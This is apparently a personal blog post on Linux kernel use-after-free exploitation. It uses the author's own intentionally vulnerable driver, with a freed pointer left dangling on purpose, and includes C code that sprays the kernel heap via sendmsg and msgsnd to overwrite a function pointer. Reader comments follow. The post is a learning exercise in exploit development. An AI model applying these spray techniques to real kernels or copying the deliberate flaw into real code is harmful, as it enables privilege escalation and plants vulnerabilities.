Linux Kernel Heap Spraying / UaF

Using sendmsg and msgsend syscalls to spray the kernel heap

Recently I’ve become increasingly interested in kernel exploit development. One of my main barriers in this field is that fact I have very little development experience in kernel space. I therefore decided to go back to how I started in exploit dev, learn how to build it so I can learn how to break it.

To that end, I started writing an intentionally vulnerable Linux driver (based off the same idea as the HackSys Windows driver). The logic is simple, write a vulnerability into the module of a specific class (ie buffer overflow, UaF etc), and then learn how to exploit it. I decided to start with a use after free vulnerability, I chose this because it would force me to learn about kernel space heap spraying, memory management and so on.

Introducing the Driver

I won’t give a full outline of the whole driver here as it’s not finished and probably deserves its own post. The main thing to note is that its a miscdevice that exposes a few ioctl’s:

static long do_ioctl(struct file *filp, unsigned int cmd, 
                     unsigned long args)
     switch(cmd) {
         case DRIVER_TEST:
             printk(KERN_WARNING "[x] Talking to device [x]\n");
         case ALLOC_UAF_OBJ:
         case USE_UAF_OBJ:
         case ALLOC_K_OBJ:
             alloc_k_obj((k_object *) args);
         case FREE_UAF_OBJ:
    return 0;

The use after free functions (such as free_uaf_obj()) are defined in a seperate file. Within it we have the following:

The uaf object

typedef struct uaf_obj
     char uaf_first_buff[56];
     void (*fn)(void);
     char uaf_second_buff[20];

A k_object which is for testing purpose, I’ll explain that later:

typedef struct k_object
     char kobj_buff[96];

We then have a typical set of functions for allocating, freeing and using the uaf_object and k_object. The code is quite simple so I won’t put all of it here, the main point is that we don’t set the global pointer to null after freeing it, meaning it can get used afterwards in use_uaf_obj:

static void use_uaf_obj(void)
         //debug info
         printk(KERN_WARNING "[x] Calling 0x%p [x]\n", global_uaf_obj->fn);

So, if the uaf_obj that global_uaf_obj points to has been freed, and another object has been allocated in the same cache, and if we can control that objects data, then we can control what fn() calls.

Spraying the Heap

There are a couple of important things to note when it comes to spraying the heap in order to gain code execution. The first is to determine the size of the vulnerable object and the second is its type. I won’t go into the full details of Linux memory management (as I’m still learning about it), but the key point is objects of certain sizes and similar types will always end up in the same cache. For general purpose type objects (ie kmalloc(size, GFP_KERNEL)), these will go in the kmalloc-32,64,96,192 etc caches – as shown here:


We are interested in the kmalloc-96 cache (but the main reason of this post is about arbitrary cache spraying). The reason for this is that the uaf_object is 84 bytes, which means it’ll be put in the 96 cache. This therefore means that in this specific case, we should look for kernel objects of that size and/or code paths that trigger a kmalloc of that size.

To test this out, we can use the k_object that’s already in the source code, it’s size is exactly 96 bytes, and the data within it is controllable from userland. Moreover, we don’t actually need to spray the heap here, if we free the uaf_obj and then allocate the k_object, it is almost guaranteed (in my test environment) to end up overwriting the uaf_obj (the SLAB allocator allocates from the free list first).

The code is extremely simple:

void use_after_free_kobj(int fd)
     k_object *obj = malloc(sizeof(k_object));
    //60 bytes overwrites the last 4 bytes of the address
    memset(obj->buff, 0x42, 60); 

    ioctl(fd, ALLOC_UAF_OBJ, NULL);
    ioctl(fd, FREE_UAF_OBJ, NULL);

    ioctl(fd, ALLOC_K_OBJ, obj);
    ioctl(fd, USE_UAF_OBJ, NULL);

And as we can see here, the function pointer is overwritten with our data.


This is quite a trivial example and not likely to actually happen – mainly its just boring. Instead of doing this, I decided to look at how actual exploit devs would go about exploiting such a vulnerability. Unfortunately there wasn’t a whole lot online about linux kernel heap spraying, and what examples I did find were often incomplete.

Therefore, I am going to present 2 methods of spraying the heap in kernel space, with the aim of being successful given almost any object size.

Sendmsg Heap Spraying

This syscall is defined as a function here. It has the following prototype:

static int ___sys_sendmsg(struct socket *sock, 
                           struct user_msghdr __user *msg,
                           struct msghdr *msg_sys, unsigned int flags,
                           struct used_address *used_address,
                           unsigned int allowed_msghdr_flags)

The main arguments to note are the user_msghdr and msghdr pointers. Tracing what happens through the function gives us the following:

  • At line 1930 a 44 byte stack buffer called ctl is allocated.
  • At line 1933 ctl_buf is set to point to ctl.
  • At line 1942, the user_msghdr is copied into the kernel space msghdr, so now msg_sys contains our user supplied data.



  • A check at line 1948 occurs to see if msg_sys->controllen is larger than INT_MAX.
  • As long as this is not the case, ctl_len is assigned to the user supplied controllen.


  • Shortly after this, at line 1964, ctl_len is used to define the size of a call to sock_kmalloc, which in turn ends up calling kmalloc(size, flags) – where size is supplied from userspace.


The important point to note in the code above is the if statement on line 1963, if our data is less than 44 bytes (sizeof ctl) then no kmalloc occurs – that is the restriction with this method.

Finally, after the kmalloc call, the data in msg_sys->control (which is again supplied from userspace) is copied into the ctl_buff.


There are 2 important points here:

  1. We control the size of the kmalloc call, as long as its larger than 44.
  2. We control the data that is copied into the allocated heap space.

The code for this took me longer than I’d like to admit, mainly because I’ve never used this api and I also thought that the call to sendmsg could not error. It turns out that actually, sendmsg can throw an error and still hit the kmalloc path (something I imagine I’d know if I had more experience).

void use_after_free_sendmsg(int fd)
   char buff[BUFF_SIZE];
   struct msghdr msg = {0};
   struct sockaddr_in addr = {0};
   int sockfd = socket(AF_INET, SOCK_DGRAM, 0);

   memset(buff, 0x43, sizeof buff);

   //zero out the MSB's so we can map the address in userspace
   buff[60] = 0;
   buff[61] = 0;
   buff[62] = 0;
   buff[63] = 0;

   addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
   addr.sin_family = AF_INET;
   addr.sin_port = htons(6666);

    /* This is the data that will overwrite the vulnerable object 
    in the heap */
    msg.msg_control = buff;

    /* This is the user controlled size, 
    eventually kmalloc(msg_controllen) will occur */
    msg.msg_controllen = BUFF_SIZE; 

    msg.msg_name = (caddr_t)&addr;
    msg.msg_namelen = sizeof(addr);

    ioctl(fd, ALLOC_UAF_OBJ, NULL);
    ioctl(fd, FREE_UAF_OBJ, NULL);

     /* Heap spray */
     for(int i = 0; i < 100000; i++) {
         sendmsg(sockfd, &msg, 0);

     /* Trigger */
     ioctl(fd, USE_UAF_OBJ, NULL);

And as we can see here, we get a fault when running this code:


Msgsnd Heap Spraying

The next syscall is msgsnd, which is much easier to use but has a couple of limitations. The code for this is as follows:

int use_after_free_msgsnd(int fd)
    struct {
        long mtype;
        char mtext[BUFF_SIZE];

    memset(msg.mtext, 0x42, BUFF_SIZE-1);
    msg.mtext[BUFF_SIZE] = 0;

   /* Create the message queue we will be sending messages through */
   int msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);

   /* mtype must be > 0 */
   msg.mtype = 1;

   /* Allocate and free the vulnerable object, 
    ready to be overwritten in the relevant cache */
   ioctl(fd, ALLOC_UAF_OBJ, NULL);
   ioctl(fd, FREE_UAF_OBJ, NULL);

   /* Spray the heap, the larger the msg, 
   the smaller amount of messages we can send */
   for(int i = 0; i < 120; i++)
        msgsnd(msqid, &msg, sizeof(msg.mtext), 0);

   ioctl(fd, USE_UAF_OBJ, NULL);

The main points to note are that when we call this, eventually we hit the alloc_msg function . If we look at how it allocates memory here:


The msg_msg struct is 48 bytes, and we don’t control what goes into it. The overall kmalloc allocation is therefore 48 + the size of your message. This therefore means that we cannot use this methods for anything in the 32 byte cache, and would probably struggle with the 64 byte cache, though I haven’t tested that yet.

The second drawback, which is commented in my code, is that the larger the message, the fewer messages we can send before the process blocks. I presume this wouldn’t occur if I had another process calling msgrcv and taking messages out of the queue, but for now 120 allocations was enough.


That’s pretty much it. I really struggled to find working examples of linux kernel heap spraying, so hopefully this helps anyone who’s interested. I’ll be writing the actual exploit at some point as I’m interested to see how I’ll bypass SMEP and SMAP.

You can find the full code here:

Note the code isn’t meant to be linux kernel coding standards compliant, but it does the job.

Thanks for reading!

2 thoughts on “Linux Kernel Heap Spraying / UaF”

  1. The size of ctl in sendmsg is 32 bytes. Now I have a bug object, its size is 32 bytes, so do you know anyother syscall function can be used to spray heap


    1. 32 bytes on a 32bit system, sorry should have mentioned I’m mainly working on 64 bit systems. Unfortunately I’m not sure, 32bytes breaks the limitations in this post, your best bet would be to look online for actual exploits and see what they use. The other option would be to grep through the src looking for kmalloc calls and then tracing where the size comes from and how to hit that path


Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: